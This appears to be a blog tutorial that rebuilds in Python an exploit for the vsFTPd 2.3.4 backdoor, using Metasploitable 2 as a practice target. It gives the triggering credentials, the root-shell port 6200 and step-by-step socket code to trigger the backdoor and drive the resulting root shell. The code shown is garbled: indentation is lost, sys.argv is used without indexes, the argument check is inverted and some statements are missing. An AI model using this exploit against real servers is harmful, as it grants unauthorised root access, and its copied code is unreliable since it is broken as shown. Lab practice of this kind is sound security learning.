Hello everyone! I've recently discovered my personally favorite way to practice programming languages. Basically, we're going to find an exploit written in a different language, and we're going to rebuild it in the language we want to practice.
In this article, we're going to be rebuilding an exploit that triggers a back door planted in vsFTPd version 2.3.4. Let's quickly run through how this back door is triggered and then we'll move onto the code.
Triggering this back door is actually really simple, we simply need to log in with the username "backdoored:)" and the password "invalid". Once we attempt to log in with these credentials, we should be able to connect to port 6200 to recieve a root shell. Now that we know how this works, let's get into the code!
First, we're going to set our interpreter path and import the modules we need:
import sys # For arguments
import socket # To trigger the back door
import threading # Shell handling
import time # Delay for shell interaction
Now that we have our modules, let's quickly handle the command line arguments. We're going to take the target IP as the first argument, and the target port number as the second. Let's see the code we'll use to take our arguments:
if len(sys.argv) == 3:
print "usage: ./exploit.py [TARGET IP] [TARGET PORT]"
target = sys.argv
port = sys.argv
Now that we have our arguments handled, we can make the triggering function. We're going to need to make a socket and log in with the aforementioned credentials. We'll name our function "trigger", simple enough, let's take a look at the code:
trigger_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print '[!] Failed to Reach Target'
print '[*] Attempting to Trigger the Back Door... '
banner = trigger_socket.recv(1024)
if 'vsFTPd 2.3.4' in banner:
print '[*] Trigger Process Complete, Spawning Shell...'
print '[!] Invalid Service Detected'
Alright, now that might seem a bit complicated, but it's really not. See simply made a socket, grabbed the banner from the server, evaluated the service based on the banner, and logged in with the triggering credentials. Now that we've triggered the back door, we need to connect to it.
First, we're going to make a function that will run as a thread. This means that it will run at the same time as the rest of the script. This function will infinitely print information that it receives from a socket that we're going to connect to the newly spawned shell. Let's look at this function now:
def recv_from_shell(sock, status):
while status == True:
Now that we have this function, we can make our final function. This function will call the trigger() function, start the recieving the thread, and send the user's input to the shell. Let's take a look at this final function:
shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_status = True
print '[!] Failed Interaction with Shell'
shell_recv_thread = threading.Thread(target=recv_from_shell, args=(shell_socket, shell_status))
print '[*] Root Shell Spawned, Pwnage Complete\n'
command = raw_input.strip()
if command == 'exit':
shell_status = False
shell_socket.send(command + '\n')
sys.exit(1) # Emergency exit
There we go! Now that we have our exploit (available here), let's launch it against our victim. We'll be firing it against Metasploitable 2 , which runs vsFTPd 2.3.4 on port 21. Let's launch our exploit and see what happens:
There we have it! Our exploit woks! I hope that we can re-build more exploits like this in the future, as it's a very good way to practice a language of your choice. If you have a language you need to practice, feel free to follow this with your own spin on things!
Thank you for reading!